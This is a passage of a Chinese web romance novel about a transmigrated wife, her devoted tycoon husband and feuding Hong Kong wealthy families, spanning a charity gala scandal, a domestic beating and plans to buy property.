萧茗惆怅不已。 晚上九点,姜沉鱼习惯在卧室泡澡,萧砚悄无声息回到家,水晶灯灯光璀璨,映衬他平素冷冽的眉眼多了几分柔和。 浴室里,姜沉鱼现在整个人泡在温暖的水中感受着周边美好的景色,姜沉鱼心里开心的冒泡泡,不时的用伸手撩水玩。 萧砚刚上楼就听到某人欢快唱歌的声音,他挑挑眉,侧耳静听浴室时不时传来的水声,不动声色进了浴室。 浴室内,因为泡在泳池里的时间有点久,所以姜沉鱼的脸蛋红扑扑的,整个人如同一朵一双雪白的长腿在泳池里若隐若现。 萧砚喉咙滚动,姜沉鱼听见开门声,从水中伸出玉手抵在萧砚宽阔的肩膀上调戏人,“哪家的狂徒偷看良家妇女洗澡?” 萧砚睁眼一把将她抱起来,反手扼住姜沉鱼的下颚,低头吻了下去。 “小鱼说呢?” 姜沉鱼被吻的面红耳赤,差点一口气没喘上来,还是萧砚堵了一口气给她才喘上气来,萧砚松开人,乌沉沉的黑眸眼里满是笑意,姜沉鱼恼羞成怒的退了人一把,挣扎着要出泳池,被萧砚一把拉到怀里。 第52章 第52章感谢订阅 “自家的登徒子都不认得了,萧太太是不是需要些惩罚?” 萧砚嗓音低蛊,这几日集团事务繁忙,接连忙了几个昼夜,男人眉眼似乎又锋利了不少,一双黑色眸子进老宅前还冰沉如雾霭,此刻搂在细腰的手掌却烫得惊人。 “” 姜沉鱼樱唇潋滟,在男人怀里颇有些欲哭无泪的感觉,她总算知道什么叫搬起石头砸自己脚了,自从嫁到港城,自己好几次在萧砚这里吃瘪,还不长记性,一点也没有从前的风范。 真是应了那句话,一孕傻三年。 既然说不过,那就不说。 审时度势的姜沉鱼立马转移话题。 “你说什么呢,我刚才就是开玩笑而已。” “这几天很累吧,我让阿秋准备营养液。” 姜沉鱼说完就想借机走人,奈何某人抱得太紧,她那点小力气可挣脱不开。 姜沉鱼又想到借口,“厨房刚煮了红枣花胶汤,我还没喝呢。” 说完纤嫩手指在男人胸口点了点,这话意思是让他快点放手,别耽误自己喝汤。 萧砚慢条斯理解开领带,答得理所当然: “要不要我喂萧太太喝?” 姜沉鱼:“” 这是什么鬼话? 姜沉鱼立马老实了,算着找机会逃跑,“不用,我吃饱了。” 萧砚对上姜沉鱼滴溜转的水润双眸,隐忍笑意:“小鱼真的不吃了?能吃是福。” “吃不下了,真的吃不下了。” 姜沉鱼赶紧摆手,萧砚黑眸中笑意更甚,修长的手指摩挲过她的发际,低头在妻子樱唇上吻一下: “小鱼,今年春节我们去圣托里尼好不好?” 姜沉鱼乍然听姜砚讲要去圣托里尼,她还有点小懵:“圣托里尼?” “嗯。” “我记得你提过一次。” 圣托里尼岛位于希腊大陆东南两百公里的爱琴海上,是座由火山爆发而形成的岛屿。圣岛拥有着全希腊最最美的海景。 姜沉鱼生母庄心晴生前去过几次,给女儿留下的照片中,依火山断崖而建的无数精致的白房子,高低相连,错落有致,偎依在深蓝爱琴海侧畔,白房子中间,穿插建有不少蓝顶教堂、彩色小屋以及传统的希腊式风车,圣托里尼的海景非常醉人。 姜沉鱼从小就喜欢大海,江城靠海,港城也靠海,小时候爷爷奶奶陪着她一起去看海,长大后跟丈夫一起去圣托里尼就成了姜沉鱼的愿望。 姜砚一直都知道姜沉鱼的心愿,她说过的话,某人全记得。 姜沉鱼踮脚在萧砚薄唇上亲了亲,“谢谢你,我的萧先生。” 萧砚温柔的摸摸姜沉鱼的长发,“不用谢,萧太太。” 姜沉鱼跟萧砚腻歪了一晚上,第二天夫妻俩乘车去半山大宅探望萧老爷子。 萧老爷子依旧生龙活虎,身体硬朗,平日里不是散步就是打拳,生活过得很规律。 老爷子见了孙子孙媳,高兴到早饭多吃了一碗。 饭后萧砚陪老爷子下棋,姜沉鱼被热情的二夫人邀请去花亭吃点心。 萧家三房两个儿子,大儿子萧长堂、二儿子萧长昌从前就面和心不和,最近半年来,兄弟俩为了家产更是闹到剑拔弩张,要不是有萧老爷子在,三房怕是早就散架子了。 萧长堂一家三口跟姜沉鱼不对付,也就是跟萧砚不对付。 萧长堂的赌场生意不好做,萧长昌的家具、跨国食品生意却很兴隆,连带着二夫人母女地位水涨船高。 算起来三房二夫人算是萧砚的长辈,姜沉鱼一向八面玲珑,对二夫人客气称一句“三伯母”。 二夫人喜上眉梢,招待起姜沉鱼这个侄子媳妇来更加热情周到。 萧家三房两个孙女没在家,各自准备留学的事宜。 三太邓颖梅跟大儿媳和几位贵妇在偏厅打牌,大夫人难言酸气,阴阳怪气道,“二弟妹这么讨好大房,真是丢了我们三房的脸。” 三太白她一眼,“打你的牌,你自己没本事笼络不住人,怪别人做什么?” 大夫人气得想掀桌,又生生忍了下来,不能平白让人看笑话。 在场的贵妇们都是人精,看到这场面就跟什么没看到一样,说说笑笑继续打牌。 姜沉鱼肚子沉,在三房待了一上午就回了老宅。 萧砚继续回公司忙,姜沉鱼睡了午觉起来,朱莉气冲冲来了老宅,一进门就对着好姐妹诉苦。 姜沉鱼安排阿秋去准备茶点,慢悠悠安抚成朱莉。 “怎么了,坐下喝杯红茶吃块蛋糕。” 成朱莉一路飙车来萧家,早上发生那件事,气得她连饭也没吃就夺门而出,这会儿肚子饿了,洗手拿了块蛋糕边吃边说话。 “小鱼你是不知道,五姨太真是太恶心人了,她居然跟爷爷吹枕边风,让我大哥娶她家的侄孙女,还算计我嫁给她家那个吃喝嫖赌的外甥” 姜沉鱼算是听明白了,这八成又是五姨太惹出来的事情。 说起来,成朱莉也是有心上人的,她心上人姜沉鱼见过,是港城文家的长子,文家老爷子是传媒大亨。 现在当家的是文家长孙文尧,文尧气质斯文,长相是花美男那一挂的,不知道的人见他第一面还以为是被富婆包养的小白脸。 实际上文尧是个腹黑笑面狐狸,这厮比萧砚还记仇,睚眦必报。 成朱莉在外面张牙舞爪,尤其是在她爸面前,大小姐脾气厉害得很,谁也不放在眼里,遇上文尧吃了好几回绊子,这对欢喜冤家,彼此看不顺眼许久,又彼此喜欢,谁也不肯先开口。 成朱莉一向直率,在感情问题上遇到真正喜欢的人,却是个怂怂的大小姐,成父却很喜欢文尧,想让文尧让自己好女婿。 成朱莉听了直接炸毛,“爹地,你说什么!” 成父不解看着女儿:“乖囡,发这么大脾气做什么?” 成朱莉更怒了:“你让嫁给文尧那个混蛋!” 这个混蛋,要是对她有意思,怎么不来表白? 凭什么要她先开口? “这算什么。”成父翻了一页报纸,“我看你也挺喜欢那孩子的。” 成朱莉:“……” 成朱莉发脾气,成太太从楼上下来,身姿优雅坐在沙发里,接过佣人端过来的乳酪:“都说打是亲骂是爱,你们小年轻的感情就是好。” 成朱莉:“……” 成朱莉说不过爸妈,跑到老宅找爷爷告状,又听见五姨太的算盘,跑来了萧家。 姜沉鱼笑出声,成朱莉气得挠她的痒。 两人小闹了一会儿,阿秋给成朱莉热了一杯牛奶跟厨房做好的鸡腿面,姜沉鱼靠在窗边给萧砚打电话,她在一边啜牛奶。 五姨太惺惺作态打来电话,电话这头的成朱莉头听见五姨太刻意压低柔媚的声音恶心了一下,成朱莉一下子没有了胃口,本来她还可以啃完一只肥鸡腿的,现在算是白瞎了。 成朱莉伸着手指头掏掏耳朵,很干脆的挂断了电话,她啜完杯里的热牛奶,摸摸肚子还饿,犯馋的把鸡腿面吸溜进了肚子里。 成朱莉填饱肚子,心情也跟着好起来,霸占了姜沉鱼心爱的沙发,说她爷爷下周三举办慈善晚会,问姜沉鱼参不参加。 姜沉鱼当然是要去的。 下周的成家的慈善可有一场好戏要上演。 时间很快到了星期三晚上,位于港城郊区的成家庄园灯光璀璨,诺大的大厅内站满了人群。 能够受邀请前来参加成家老爷子的人都是港城上流人士,在场的男士们都西装革履,风度翩翩,女士们都是清一色的高腰长裙,带着闪闪发光的首饰,气质高雅,笑容满面。 艾米亲昵的挽着一个中年男人的手从绿色跑车上走下来,远处灯火辉煌的成家别墅中不时传出阵阵笑声。 艾米深吸一口气,笑容甜美的依偎在萧长棠怀中,娇滴滴的撒娇: “萧生,你说慈善宴会上那些人不喜欢人家怎么办呀?” 原本艾米出身一般,是没有资格来参加成家老爷子的慈善宴会的,艾米使出浑身解数伺候的萧长棠没了理智,竟然将大夫人母女丢在家中,公热带着情妇来参加宴会。 “宝贝,你这么美谁会忍心讨厌你呢?”萧长手在艾米嫩滑的笑脸上摸了一把,盯着艾米凹凸有致的身材,眯起的眼睛里闪烁着不可说的光芒。 “讨厌啦。那你说好送人家的珠宝首饰可不许说谎。”艾米依偎在萧长棠的怀中笑的花痴乱颤,美目中却闪过一丝丝轻蔑。 这个老男人只是她的垫脚石头罢了,等到她完成任务,拿到萧总裁给的丰厚报酬就一脚就把这个老男人踹了,移民去澳洲当林家少奶奶。 没错 ,艾米的终极目标就是林氏集团继承人林战。 成家在港城地位显耀,家产丰厚。 林战不仅颜值惊为天人,关键是身材好。 190的身高,man爆的喉结,太平洋宽肩标准的模特身材。 这样的天之骄子才配的上她艾米。 就在艾米想入非非的时候,庄园门口驶来一辆奢华的黑色轿车,保镖将车门打开,一只修长的美腿出现在众人面前。 第53章 第53章感谢订阅 下车的不是别人,正是匆匆赶来参加慈善晚宴的萧佳怡。 成家举办的慈善宴会,萧家三房这次只有萧长章出席,家中没人来,他才把艾米带过来,没想到萧佳怡居然来参加了。 萧佳怡一身高定长裙,黑色的卷发微微卷起,举手投足间尽显名媛范,她对这种无聊的晚宴本来没什么兴趣,只是打探到蔡家二少蔡润泽也来了慈善晚宴,近水楼台先得月,为了接近蔡润泽才来了成家。 成家老宅奢华壮观,别的不说,但是庄园里华丽丽的水晶喷泉就是一般豪门无法比拟的,要知道现在可是冬天,普通豪门的喷泉早就结冰了,成家的喷泉还是流水潺潺,加上边上的水晶装饰,虽然比不过萧家老宅的底蕴,却比三房大宅强了不少。 萧佳怡压下心里的酸气,在保镖的护送下,身姿聘婷步入成家。 成家大厅水晶吊灯枝盏繁复,优美钢琴声飘渺入耳,萧佳怡扬起精致脸庞,刚想在西装革履的上流人士中搜寻蔡润泽的身影,结果一抬头就看见跟萧长章缠在一起的艾米。 艾米身材火辣,打扮妖娆,萧长章承诺送她一套红宝石镶钻珠宝,艾米嗲里嗲气揽着萧长堂的胳膊,“萧生,人家喜欢死你了。” 这话萧长堂很受用,在艾米翘臀上抹了两把,这场面让萧佳怡瞳孔有刹那的收缩,血液里有种压抑的愤怒在流窜。 这个狐狸精下贱货有什么资格出现在豪门晚宴上? 这阵子萧家三房内斗不断,三太邓颖梅原先偏心大儿子一家,二儿子萧长昌后来居上,手下事业红火,家庭也和睦,大儿子一家却闹得鸡飞狗跳、丢人现眼。 时间一长,三太邓颖梅就对大儿子一家也没了好脸色,大夫人母女日子不好过,萧长堂在外面风流快活,艾米有时候半夜往家里打电话,有好几回都是萧佳怡接听的,早就想教训教训艾米这个狐狸精了,她双眸一眯,突然走过去扬起手给了艾米一巴掌。 “狐狸精,让你勾引我爹地!” 艾米妖艳的脸蛋肿了半边,萧长堂怒不可遏,站起身狠狠甩过去两巴掌:“混账!谁叫你说如此难听的话!” “给老子滚回家去!” 萧佳怡从小备受宠爱,从来没挨过父亲的耳光,刚刚在大庭广众下挨了两巴掌,还是在蔡家二少所在的成家慈善晚宴上,她可受不了众人望过来的目光,捂着脸哭着就跑了。 萧长堂脸色铁青,亲女儿跟自己包养的情妇在成家晚宴上闹起来,他算是没脸了。 萧佳怡挨了打,艾米妩媚的撩拨一下长发,嘴角微翘。 她在这次闹剧中虽然被打了一巴掌,结果却是好的。 自从艾米成了萧长堂的情妇可没少受萧佳怡的辱骂,今天也算出了口恶气。 “萧生,你听人家讲嘛”艾米还想跟萧长章讲几句话,再给萧佳怡上点眼药,成家这边就派人过来了,成家管家态度恭敬,话里话外的意思,就是要把闹事他们“请”出去。 萧长堂这辈子过得顺风顺水,从来就没有这么丢人难堪过,他脸色铁青,当着一众豪门贵眷的面又不能发作,只强压下内心的怒火离开。 艾米很有颜色,看萧长堂这模样,立刻闭上嘴巴,跟在后面安静离开了宴会。 刚才的闹剧一过,成家宴会又恢复了热闹繁华,此刻外面天色已经完全暗了下来,成家大宅灯光璀璨,绮丽非凡。 成家庄园内外灯火通明,不多时,庄园门口出现了一辆醒目的加长型迈巴赫,四周的保安严阵以待,腰间佩戴警棍、对讲机,以应对偷拍的八卦狗仔。 迈巴赫在门口缓缓停稳,一身银白色长礼服的姜沉鱼依偎在萧砚怀里睡了一路夜幕徐徐,外面寒风呼啸,姜沉鱼犯懒不想下车,萧砚温柔地亲了亲她眉心: “不想下车?” “外面太冷了。” 姜沉鱼往男人怀里钻了钻,要不是晚上有董事会,萧总裁都想呵护着太太去参加晚宴了。 幸好王妈妈准备齐全,姜沉鱼披了雪白皮草,周身乳白色绣金银线花纹长礼服,流光溢彩,甚是好看,白皙耳畔戴了对红宝石镶钻耳坠,更衬托的她洁白如玉,樱唇娇嫩。 临下车前,萧砚蹲下身,用一双保暖的长靴套在姜沉鱼脚上,又仔细观察了下,才放她下车。 “晚宴结束乖乖等我来接你。” “外面冷,别出来吹冷风。” “宴会上不准偷喝葡萄酒。” 姜沉鱼披着披风,裹着厚厚的羊毛围巾,露出一双潋滟如秋水的漂亮眼睛,不耐烦赶某人走。 “好了,知道了。” “你快走吧。” 萧砚轻笑了声,目送着姜沉鱼跟阿秋、王妈离开,才收拾好心绪,又成了往冷峻模样,漆黑眸子在幽淡灯火下深不见底,对裴特助道,“三房那边安排好了?” “总裁放心,一切安排妥当。” 姜沉鱼下车的时候,成朱莉就在门前等着。 见人下了车,成朱莉笑眯眯的招呼她: “小鱼来这里呀。” 这会儿,成家大宅里已经来了不少客人,个个光鲜亮丽。 成朱莉穿着紫色礼服,长长的秀发微卷,整个人珠光宝气,姜沉鱼走了过去,被成朱莉拉进了大厅里的小套房。 这会儿慈善晚宴还没有开始,成朱莉不喜欢出去见客人,成妈妈心疼女儿,叫佣人专门腾出一间套房给成朱莉用。 两人进去的时候,小套房里静悄悄的。 两个人坐了下来,成朱莉按了套房的门铃,一会儿两个身穿白色女仆装的佣人端着点心走了进来,成朱莉知道姜沉鱼晚饭吃得不多,很贴心的准备了她最爱吃的点心。 姜沉鱼正好肚子饿了,不客气的吃了起来。 成朱莉看见姜沉鱼的动作,笑了,她就喜欢小鱼的性格,凡事都直来直去,开心就是开心,不开心就讲出来,跟小鱼在一起一点都不累。 两好闺蜜说说笑笑了一会儿,成家的仆人进来说,晚会马上开始了,两个人就出去了。 成朱莉介绍姜沉鱼给家人认识,成父中等身量,有点发福,手中盘一串佛珠,整日笑呵呵,很是慈祥的模样。 “成伯伯,成伯母。”姜沉鱼打招呼。 “萧少夫人,贵客上门不用拘束,就跟在自家一样便好。” 成朱莉的妈妈很有气质,画着淡雅的妆容,穿着合体的礼服,脖子上是一串饱满圆润的珍珠项链,客气又周到。 晚会开始,成朱莉要跟家人应付宾客,姜沉鱼坐在下面吃吃喝喝,阿秋则虎视眈眈盯着周围人,生怕有什么坏东西窜出来暗害自家少夫人。 这次晚会,成老爷子本人没出面,五姨太也没露面,全由成家大少成文彬负责,成家鲜少露面的三少爷也破天荒参加了晚宴。 成家三少爷喜欢自由,在家迟到早退习惯了,就算是来参加自家晚会,他也是迟到了半个小时。 自从上次海岛一行后,成家大少成文彬还是头一次露面。 成家晚会上名流云集,因为萧家少夫人的身份,加上成家大少成文彬在边上把关,姜沉鱼在宴会上游刃有余,晚会上的人都是人 精,对她也是意外的友好。 成朱莉嫌弃大厅里人太多,带着姜沉鱼跟阿秋悄悄出了大厅在成家庄园里闲逛。 成家为了这次晚会可是砸了大钱的,但是晚会的红酒就价格不菲,鲜花也是一样,还有晚会上用的食材和鲜花都是前一天晚上从英国空运过来的。 姜沉鱼吃着小蛋糕跟在好姐妹屁股后面走,边听成朱莉跟阿秋侃大山,边抬头看成家庄园的景色。 走了会儿,姜沉鱼觉得冷,披着皮草跟成朱莉两人一起回了大厅,去了成太太事先安排好的小套房。 套房内暖气十足,厚脸皮的成家三少也挤了进来,成三少无视成朱莉的白眼,踢掉鞋子,走进套房一屁股坐在地毯上喝酒。 成朱莉拉着姜沉鱼也坐了下来。 成家的套房都很宽阔,说是小套房,其实比普通人家的家都要大。 成家三少坐在成朱莉跟姜沉鱼对面,成家管家进来说了句话,成三少立马出去了。 成三少出去了,套房里只剩下姜沉鱼、阿秋跟成朱莉,边上成朱莉脱掉小外套,摘下耳朵上的珍珠水晶耳坠,伸手戳了戳姜沉鱼: “小鱼,吃水果。” “今天宴会上怎么没见三房的人?” 姜沉鱼捻了块橙子,故意开口问。 说起这个,成朱莉可就来了精神,立刻兴致勃勃讲起了八卦。 第54章 第54章感谢订阅 “哎呀,你不知道三房这回可是丢大面子了。” 成朱莉把刚才晚宴上的闹剧讲了个一清二楚,最后还对着姜沉鱼惋惜,“小鱼,可惜你出门你晚了没看到这出好戏。” “真是遗憾。” 成朱莉出身港城豪门,港城富商包养情妇的不再少数,她从小到大自是见了不少,想起艾米酷似五姨太的作派,嘲讽出口,“男人不论什么年纪,喜欢的都是这种装腔作势的年轻女人。” “喜新厌旧,食色性也,人之常情而已。” 姜沉鱼嫩白手指拿着雕花银勺,挖着手里的蛋糕,应声附和,心里想的却是萧砚池这家伙早早铺垫了这场好戏,让萧长堂在众人面前丢尽面子。 毕竟萧长堂一向是面子大于天的,看来今晚三房又是个不眠夜了。 姜沉鱼猜得没错,萧长堂离开成家,当即撇下艾米,脸色阴沉回了家,他一回家就彻底爆发了,一脚踹开二楼的房门,把躲在房间的萧佳怡拽出来,左右开弓,狠狠掴了两巴掌。 “妈咪,救我!” “萧长堂你发什么疯!” 萧佳怡哭天喊地,大太太上前阻拦,也被狠狠甩了一巴掌。 “逆女你还有脸叫!” “都是你生的混帐东西!” 萧长堂打了几巴掌,犹不解气,将大太太踢倒在地,穿着厚底皮鞋又狠踢了萧佳怡两脚,直接把她肋骨踢断了。 大太太呼天抢地,萧佳怡眼泪滑落双颊,浑身上下疼得起不来,三房的女佣进来送夜宵,看到血迹斑斑的现场,吓得大叫连连,直接把没睡的三太引了过来。 三房上下皆乱成一团。 三太邓颖梅得知事情来龙去脉,又听佣人讲萧长堂发完疯,叫了司机又去找外面的狐狸精,气得差点晕过去。 “我这是造了什么孽,生了这么个唔孝顺的儿子!” 大太太抱着伤痕累累的萧佳怡哭得好不凄惨,“妈咪,这个家我是待不下去,明天我就带着佳怡回娘家去!” 萧佳怡也跟着哭到眼睛发红。 三太可不能让大儿媳妇跑回娘家去,平白无故惹人嘲笑,她道:“回什么娘家,还不赶紧去叫家庭医生来给佳怡看伤,姑娘家留下疤还怎么嫁人。” 大夫人也担心女儿,赶紧抹了眼泪,扶着萧佳怡回了楼上,没一会儿,三房的家庭医生就赶来了,萧佳怡肋骨断了两根,一张柔美脸蛋肿得老高,医生检查的时候,疼得满头虚汗。 大夫人心疼的同时,想起对自己跟女儿无情无义的萧长堂,抬头将眼里的泪意逼回去,染得鲜红指甲深掐肉中也感受不到疼痛,眼里满是恨意。 萧长堂你不仁我不义,以后咱们走着瞧! 萧家三房者这边水深火热,成家慈善宴会上的姜沉鱼可是悠哉闲适,晚上十点,慈善晚宴结束,姜沉鱼临走时,遇见了许久不见的蔡家二少蔡润泽。 蔡润泽依旧西装革履,穿着白衬衫蓝色西服,双手插兜,一双桃花眼狗看了都深情。 蔡润泽见到姜沉鱼,眉目一动,信步走过来,似乎有什么话要说。 可惜姜沉鱼早被成朱莉跟成家三少一起去看自家传说中闹鬼的小花园。 成家庄园后面有个阳光照不到的小花园,因为年久失修,平时鲜有人踏足,听家里的园丁讲,每到夏日鬼节的时候,小花园里就会传来女人呜咽的哭声。 成朱莉一直好奇自家这个小花园,以前她自己不敢来,今天晚上庄园内外灯火璀璨,小花园里也有不少家丁、佣人,成朱莉才大着胆子想来看看。 成家三少一个大男人自然是不信鬼神之说的,姜沉鱼也不怕,她自己就是穿书来的,要是真有鬼,也是鬼怕她才对,再说还有王妈、保镖、阿秋在身边呢。 一行人浩浩荡荡往成家小花园走去,途中遇上送客人回来的成家管家,管家惊讶,自家少爷小姐跟萧家少夫人这么晚了要去哪,问了才知道,他们是想去看看“闹鬼”的小花园。 成家管家爽朗一笑,“成家庄园哪来的女鬼,后院的小花园是老太爷给大太太修的,里面载满了大太太生前最爱的法国梧桐,几年前五姨太想把梧桐树挪了换成喜欢的合欢树,老太爷发了脾气,五姨太气不过跑到小花园哭了一场,给家里的女佣听见了,一传十十传百就成了家里闹鬼了” 成朱莉恍然大悟,“原来家里的女鬼是五姨太啊。” 成家三少“啧“了声,嘴上没发表意见,眼中的嘲讽可是实打实的。 成家的家务事,姜沉鱼不便发表遇见,就把目光落在路边一排光秃秃的梧桐树上,冬日的傍晚阴沉沉的,花园里也是冷冷清清的,丝毫没有当年梧桐满城的盛景。 成家花园路边载满了梧桐树,可以想象到春日梧桐花开满枝头、落英缤纷,该是何种美景,想当年成家老太爷跟发妻也是琴瑟和鸣,可惜几十年后,梧桐依旧,发妻却被伤透心,香消玉殒 男人靠得住,母猪能上树。 九十年代港城房地产蓬勃发展,看来她得找机会多去转转,买下几块楼盘当投资,将来当地主婆也不错。 要是哪天萧砚那厮移情别恋了,她就打包好宝宝跟珠宝债券,去国外过潇洒日子。 就在姜沉鱼神游太空的时候,前方庄园门口突然穿来一道低沉的男声,吓的不怕鬼的阿秋一哆嗦。 “少夫人,那边有个男鬼。” 姜沉鱼:“” “萧太太是在想我吗?”传说中的“男鬼”垂着眼睫,说话时声音轻柔飘哑,隐带戏谑笑意。 前方不远处,漂亮的黑色眼睛,高定西装,雪白的衬衣,英俊潇洒,风度翩翩,正清冷的伫立在那里,这哪是男鬼,分明就是自家那位缠人的萧总裁。 姜沉鱼还没说话,就被一双温热的大手握住,萧砚眉头皱起,“出门怎么不戴帽子?” 说罢就从王妈妈手里拿过姜沉鱼平时戴的帽子给她戴上,随后长臂一揽将人拥进怀里,视线温柔地低敛在她脸上。 “我不在的时候有没有胡闹?” 姜沉鱼娇小的 脸庞如凝脂白玉,小巧的笔尖冻得染了层薄红,今天萧砚穿了羊毛大衣,隔着衣料也能触摸到硬朗的肌肉线条,她没出息的吞咽了口唾沫,视线却不受控制的掠过他性感的下颌,故作镇定道,“哪有胡闹,我很乖的。” 就是偷吃了几块蛋糕而已。 姜沉鱼眼睫微动,萧砚权当没看见,纵容笑了笑,“嗯,肚子饿不饿,要不要先去吃点东西?” 姜沉鱼刚想说还没跟朱莉跟成三少道别,没想到人家早就识时务跑没影了,连带着王妈跟阿秋也自觉走人了。 “行吧。” 华灯初上,姜沉鱼一路上叽叽喳喳的把自己的遭遇一股脑的倒给萧砚,萧砚知道姜沉鱼一晚上只吃了几块点心跟蛋糕,心疼的皱了一下眉头,带着饿肚子的姜沉鱼去了附近的一家西餐厅。 穿过两人穿过被米色六层楼房和雕花阳台包围的街道,进了西餐厅。 这是一家百年老店,中庭的吊灯,画面几个碟子浓郁的历史信息。 两人进了餐厅刚落座,白衬衫长围裙的美女服务员笑着上前,萧砚看了一眼好几页的长菜单,笑着问美女服务员: “你最推荐那道菜?” 美女服务员一脸自豪。 “我特别推荐白酒煮青口,我们餐厅的青口是每天清晨从比利时空运来的最新鲜的蓝贝青口。” “糖糖要吃吗?” 萧砚看向姜沉鱼,姜沉鱼点头。 这里的青口着实新鲜,一口一个吃不停,姜沉鱼最后直接上手。 嫩青色的青口贝肉含在叩诊,牙齿轻轻咬下,海鲜的香味一起溢满口中, 酒足饭饱之后,姜沉鱼最后将盘子清空,嗯,吃货对美食的爱,就是一点也不能浪费吖。 姜沉鱼满足的瘫在椅子上感叹。 萧砚微笑着付款,两人又坐了一会儿点了两杯果汁,喝完就一起出了餐厅,乘车回了家。 与此同时,萧长堂在公寓里喝酒发泄内心郁气,艾米打扮得艳丽无比,撒娇要去莲岛上的赌场看看。 本来萧长堂是不想去的,但是心中实在憋闷,尤其是刚才三太邓颖梅打电话过来把他痛骂一顿,说他是不孝子孙,败家子。 “萧生,咱们去不去嘛?” 萧长堂咬牙,“去,老子自己开的赌场有什么不能去的!” 艾米心下一喜,美女蛇一样挽着萧长堂出了门。 当天晚上,萧长堂头一次赌博,就输了对面客人两千多万。 萧家书房内,一身骚红色西装的成文彬大咧咧的翘着二郎腿坐在沙发上,对着红木书桌后面冷着脸看文件的萧砚啧啧说道: “萧总,你家那位三叔也是个贪心的,刚开始还赢了几百万,后来赌红了眼差点儿把全部身家砸进去。” “你这招美人计甚是高明。” 面对成文彬的调侃,萧砚眼皮都被抬一下,边看文件边开口直接赶人:“成总没事可以离开了!” 面对萧砚的辞客令,脸皮厚如城墙的成文彬并没有放在心上,又絮叨了一番才离开。 好不容易打发走了讨人嫌的成文彬,萧砚继续在书房里继续看文件。 突然,萧砚起身从窗边离开,他穿着的拖鞋行走在厚厚的珊瑚绒地毯上,毫无声息的来到了二楼的套房。 第55章 第55章感谢订阅 二楼套房房门是虚掩着的,里面一片寂静,昏暗的夜色下,窗外飘起了寒雨雪花,姜沉鱼在淅淅沥沥的雨声中睡的正香。 深冬的傍晚,窗外寒风呼啸,雨点夹杂着雪花砸落在湿漉漉的道路上很快消失不见。 萧砚轻轻的走到床前,静静的看着姜沉鱼恬静的睡颜,刚才还锋利衿冷的眉眼,此刻温暖柔软,完全不似平时淡漠冷峻的模样。 姜沉鱼参加了一晚上晚宴,一回家就乏的厉害,洗了澡就回房安睡。 萧砚也只有在姜沉鱼身边才感觉心情安定,他轻轻吻了妻子唇瓣一下,才慢条斯理回书房继续处理文件。 被偷了香的姜沉鱼丝毫没有察觉,翻了个身继续香甜睡过去。 一夜好梦,翌日一早,阿秋过来送早饭,萧砚早去了集团。 姜沉鱼吃了早饭,去浴室护理皮肤,小白猫糯米跟在后面翘首等待,时不时喵喵叫着过来蹭她的小腿,姜沉鱼蹲下摸摸糯米,觉得小家伙是肚子饿了,让阿秋给糯米喂了猫粮。 糯米低头吃完猫粮,又腻在姜沉鱼身边,喵呜一声,又长又酥。 姜沉鱼回套房换好睡衣,踩着粉红兔子拖鞋坐在沙发上,阿秋在一边摆弄花瓶,糯米跳到她的腿上悠悠的摆着尾巴,惬意的很。 姜沉鱼在沙发上坐了一会儿,阿秋过来道,“少夫人,糯米是不是该洗澡了?” 姜沉鱼“嗯”了声,“糯米上周几洗的澡?” 阿秋想了想,“应该是周四。” “那确实该洗了,马上一周了。” 姜沉鱼闲来无聊,就去给糯米准备洗澡水。 糯米不光不紧不慢的迈着猫步跟在后面,直到姜沉鱼拐弯进了浴室,糯米才跟炸了毛一样飞快的逃窜出去。 阿秋大叫一声,“少夫人糯米跑了,我去把它抓回来!” 阿秋挽着袖子,去抓糯米,姜沉鱼笑一声,糯米平时天不怕地不怕,最害怕的却是洗澡。 阿秋跟糯米鸡飞狗跳大战十几分钟,才擒住小家伙去了浴室。 糯米有专门的小鱼缸跟沐浴乳,洗得香喷喷回到女主人身边,见到敷面膜看电视的姜沉鱼一双碧蓝猫眼瞪得老大。 “喵?!!” 这是哪来的女人? 糯米刚刚还黏在姜沉鱼身边,现在见姜沉鱼脸上黑乎乎一片顿时就不认识人了。 原本半卧在沙发上的糯米睁大了一双圆滚滚的圆眼睛狐疑的看着眼前不熟悉的女人,一双猫爪子跃跃欲试随时想着跳起给女主人一爪子。 姜沉鱼自顾自的坐在沙发上,纤细白嫩的手一边安抚小家伙,一边看最近新上的港剧。 这部剧是女主角是当电视剧的女主角,姜沉鱼参加聚会时见过一面的,长相很漂亮,但是没有特色,跟这段时间爆红的几位明艳港城美女还是有一定差距的。 姜沉鱼看完电视的时候,墙上的法式挂钟响了十一下,已经是上午十一点了,姜沉鱼刚起身伸了个懒腰,黏人的萧砚就从集团打了电话来,给妻子煲电话粥。 等夫妻俩情意绵绵挂了电话,挂钟指针已经指向十二点。 阿秋跟王妈过来送午餐,在外面等了二十分钟,看自家少爷跟少夫人感情这么好,脸上的笑意藏都藏不住。 姜沉鱼脸皮厚当作没看见,美滋滋享用完午餐,去了主楼看望婆婆。 雪后日寒,昨夜下了好大一场雨夹雪,今早上又下了场下小雪,如今虽不下了,天色却冷得很。 这天儿一冷,雪地泥泞,往日热闹的萧家老宅也难得安静下来。 主楼空调开得十足,花亭内温暖如春,郭玉琴看儿媳妇来了,吩咐厨房做一碗桂花酿跟点心来甜嘴。 姜沉鱼喜欢吃草莓,恰好昨日从南方空运来的草莓味道不好,王妈洗了些切好了给姜沉鱼送了过来。 姜沉鱼眉眼弯弯一边吃着酸甜的草莓,一边听郭玉琴跟王妈唠叨家常。 “太太,现在的水果又涨价了,这年头什么都涨就是工资不涨。” “对了,今天厨房新来了一筐鲜鱼,活奔乱跳肥美的很,给少夫人煲汤喝正好。” “小鱼啊,妈咪刚订制了两套珠宝,后天就送过来,你看看喜不喜欢。” “妈咪眼光这么好,我肯定喜欢。” “这孩子嘴就是甜。” 郭玉琴一句一字都是对她的疼爱,姜沉鱼笑眯眯的听着,嘴巴甜哄得婆婆眉开眼笑。 婆媳俩吃完甜点,郭玉琴突然想起了什么,“对了,听说深水埗有片农田要建楼,现在到处都在拆迁,乱糟糟的,外面古惑仔不少,这几天咱们就先不去逛街了。 “等过了年再去好好逛逛。” “嗯嗯。”姜沉鱼正乖乖点头,猛然间梗住了,深水埗这么快就要开发了吗?这说明港城房地产的黄金时代就要到来了。 姜沉鱼小口吃完手里的草莓,中午回了卧室从衣柜里翻出支票薄,又打开自己的保险箱,看着自己的小金库,心里有了打算。 穿越前姜沉鱼住在 帝都,那些年帝都房价飞涨,不管姜沉鱼怎么拼命赚钱到最后还是没有一所属于自己的房子,现在好不容易有机会,可要抓紧机会买上几块地皮,以后好当包租婆。 姜沉鱼盘算着买地皮的时候,半山区萧家三房却闹得鸡犬不宁。 